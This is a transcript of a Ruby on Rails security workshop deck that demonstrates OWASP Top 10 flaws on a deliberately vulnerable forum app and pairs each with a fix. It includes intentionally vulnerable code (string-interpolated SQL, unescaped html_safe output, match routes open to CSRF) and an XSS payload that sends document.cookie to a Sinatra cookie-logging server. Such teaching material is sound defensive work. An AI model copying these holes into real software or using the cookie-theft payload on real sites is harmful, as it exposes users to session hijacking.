Top Banner
Web applications hacking Ruby on Rails example by Karol Topolski
65

RoR Workshop - Web applications hacking - Ruby on Rails example

Apr 11, 2017

Download

Software

railwaymen
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: RoR Workshop - Web applications hacking - Ruby on Rails example

Web applications hackingRuby on Rails example

by Karol Topolski

Page 2: RoR Workshop - Web applications hacking - Ruby on Rails example

● Software House located in Krakow● Ruby on Rails, Android and iOS● Specialized in building web and mobile applications ● Collaborating with many companies and startups from all over

the world

ABOUT US:

Page 3: RoR Workshop - Web applications hacking - Ruby on Rails example

2009 - software house was founded 50 projects created

40 employees

Awards:

OUR HISTORY:

Top Web & Software Developers in Poland 2015

Top Tens Ruby on Rails Development Companies

Page 4: RoR Workshop - Web applications hacking - Ruby on Rails example

HOMEAHEAD

Page 5: RoR Workshop - Web applications hacking - Ruby on Rails example

PROEST

Page 6: RoR Workshop - Web applications hacking - Ruby on Rails example

Software for gastronomy

Page 7: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 8: RoR Workshop - Web applications hacking - Ruby on Rails example

OWASP TOP 101. Injection2. Broken authentication and session management3. Cross-Site Scripting4. Insecure direct object reference5. Security misconfiguration6. Sensitive data exposure7. Missing function level access control8. Cross-Site Request Forgery9. Using components with known vulnerabilities

10. Unvalidated redirects and forwards

Page 9: RoR Workshop - Web applications hacking - Ruby on Rails example

Target Application

Page 10: RoR Workshop - Web applications hacking - Ruby on Rails example

Simple Ruby on Rails forum

Ruby 2.3.0

Rails 4.2.6

PostgreSQL 9.4

https://github.com/railwaymen/hacking-forum.git

Page 11: RoR Workshop - Web applications hacking - Ruby on Rails example

PostgreSQL Database schema

Page 12: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 13: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 14: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 15: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/forum_threads_controller.rb

class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by title: params[:title] endend

# config/routes.rb

resources :forum_threads, param: :title, only: :show do resources :comments, only: :createend

SEARCHING THE FORUM THREAD BY TITLE:

Page 16: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 17: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/forum_threads_controller.rb

class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by “title = #{params[:title]}” endend

# config/routes.rb

resources :forum_threads, param: :title, only: :show do resources :comments, only: :createend

SEARCHING THE FORUM THREAD BY TITLE:

Page 18: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 19: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 20: RoR Workshop - Web applications hacking - Ruby on Rails example

Is SQL injection impossible in Rails?

Page 21: RoR Workshop - Web applications hacking - Ruby on Rails example

Unfortunately, no. It’s possible,

just not dropping tables.

Page 22: RoR Workshop - Web applications hacking - Ruby on Rails example

Further reading:rails-sqli.org

Page 23: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 24: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= comment.content

COMMENTS - create and show:

Page 25: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 26: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= comment.content.html_safe

COMMENTS - create and show:

Page 27: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 28: RoR Workshop - Web applications hacking - Ruby on Rails example

<!-- XSS test -->

Hi guys!

<script> alert(“I came for your cookies!“) </script>

<!-- Time to get some cookies! -->

What’s up?

<script> xhttp = new XMLHttpRequest(); xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie); xhttp.send();</script>

XSS ATTACK - TEST AND STEALING COOKIES

Page 29: RoR Workshop - Web applications hacking - Ruby on Rails example

require ‘sinatra’require ‘logger’

logger = Logger.new ‘log/cookies.log’

get ‘/cookies/:cookie’ do logger.info ‘=== COOKIE ===’ logger.info params[:cookie] logger.info ‘/== COOKIE ===’end

XSS ATTACK - SIMPLE COOKIES LOGGING SERVER

Page 30: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 31: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 32: RoR Workshop - Web applications hacking - Ruby on Rails example

Are all cookies HTTPOnly in Rails?

Page 33: RoR Workshop - Web applications hacking - Ruby on Rails example

cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”

cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”

cookies.signed[:after_sign_in_path] = { value: ‘http://localhost/after_sign_in_path’, httponly: true}// finally safe

UNFORTUNATELY - NO. ALWAYS USE THIS HASH!

Page 34: RoR Workshop - Web applications hacking - Ruby on Rails example

It’s safe from cookies stealing,but is it safe from XSS?

Page 35: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= sanitize comment.content.html_safe

COMMENTS - create and show:

Page 36: RoR Workshop - Web applications hacking - Ruby on Rails example

Further reading:molily.de/xss/

Page 37: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 38: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/application_controller.rb

class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs you may want to use :null_session instead. protect_from_forgery with: :exceptionend

DEFAULT CSRF PROTECTION IN RAILS:

Page 39: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 40: RoR Workshop - Web applications hacking - Ruby on Rails example

Is Rails CSRF protection unbreakable?

Page 41: RoR Workshop - Web applications hacking - Ruby on Rails example

HTTP Verbs

● GET● POST● PUT● PATCH● DELETE● HEAD● OPTIONS● TRACE● CONNECT

Page 42: RoR Workshop - Web applications hacking - Ruby on Rails example

HTTP Verbs NOT protected by Rails CSRF● GET● POST● PUT● PATCH● DELETE● HEAD● OPTIONS● TRACE● CONNECT

Page 43: RoR Workshop - Web applications hacking - Ruby on Rails example

CSRF pitfall in Rails routing

Page 44: RoR Workshop - Web applications hacking - Ruby on Rails example

# config/routes.rb

match ‘/forum_threads/:forum_thread_id/comments/:id/update’, to: ‘comments#update’, via: :all # Rails 4+

CSRF PITFALL IN RAILS ROUTING - MATCH:

Page 45: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 46: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 47: RoR Workshop - Web applications hacking - Ruby on Rails example

Is Rails CSRF protection 100% safe?

Page 48: RoR Workshop - Web applications hacking - Ruby on Rails example

Yes it is - unless you’re not staying close to Rails guides

Page 49: RoR Workshop - Web applications hacking - Ruby on Rails example

Further reading: https://rorsecurity.info/portfolio/cross-site-

request-forgery-and-rails

Page 50: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 51: RoR Workshop - Web applications hacking - Ruby on Rails example

Sensitive data exposure

1. Credentials leaking to public repositories.

2. Lack of proper in-app authorization.

3. Debugging information in production enviroments.

4. Access not restricted, wrong access privileges.

5. Lack of encryption.

6. API responses containing sensitive data.

Page 52: RoR Workshop - Web applications hacking - Ruby on Rails example

Protecting against sensitive data exposure

1. Code reviews.

2. Careful authorization.

3. Strict access.

4. Encryption.

5. API exposing only necessary information.

Page 53: RoR Workshop - Web applications hacking - Ruby on Rails example

Creating the secure API

Page 54: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 55: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 56: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/forum_threads_controller.rb

def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads } endend

GENERATED RAILS API

Page 57: RoR Workshop - Web applications hacking - Ruby on Rails example

[ { ”id”: 2, ”title”: "Curabitur vel vulputate libero.", ”created_at”: "2016-04-18T10:10:40.648Z", ”updated_at”: "2016-04-18T10:10:40.648Z" }, { "id": 1, "title": "Lorem ipsum dolor sit amet.", "created_at": "2016-04-18T10:10:40.607Z", "updated_at": "2016-04-18T10:10:40.607Z" }]

GENERATED RAILS API - OUTPUT

Page 58: RoR Workshop - Web applications hacking - Ruby on Rails example

# app/controllers/forum_threads_controller.rb

def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads.only(:title).to_json } endend

GENERATED RAILS API - SECURING THE OUTPUT

Page 59: RoR Workshop - Web applications hacking - Ruby on Rails example

[ { ”title”: "Curabitur vel vulputate libero." }, { "title": "Lorem ipsum dolor sit amet." }]

GENERATED RAILS API - SECURED OUTPUT

Page 60: RoR Workshop - Web applications hacking - Ruby on Rails example
Page 61: RoR Workshop - Web applications hacking - Ruby on Rails example

Solutions for building pretty, secure APIs

Active Model Serializers

● Object Oriented approach● Ability to define decorating methods● All Ruby!● Flexible● Easy to test● Adapter to follow JSON API v1.0 schema● YARD documented

Jbuilder

● Templates approach● ERblike - might be easy for newcomers● Flexible● Hard to test● No real “adapter” - if you want JSON

API v1.0, you have to do it by yourself

Page 62: RoR Workshop - Web applications hacking - Ruby on Rails example

Summary

Page 63: RoR Workshop - Web applications hacking - Ruby on Rails example

Things to remember from this workshop:

1. Never trust anything that comes from user. Params, cookies, headers, everything. Nothing that comes from user is safe to use.

2. Always sanitize your HTML output. Especially when you’re allowing links or images that comes from user.

3. Be careful with match routing. Just don’t use it if you don’t have to.

4. Inspect your outputs. Return only necessary information from your API.

5. Last but not least. Get someone to review your code.

Page 64: RoR Workshop - Web applications hacking - Ruby on Rails example

Thank you for your attention.

Page 65: RoR Workshop - Web applications hacking - Ruby on Rails example

Na zjeździe 1130-527 Krakow, Polandtel: +48 12 391 60 76

Silicon Valley Acceleration Center. 180 Sansome Street San Francisco, CA 94104tel: 1-415-449-4791

[email protected]

www.railwaymen.org

@Railwaymen_org

railwaymen.software.development

/company/railwaymen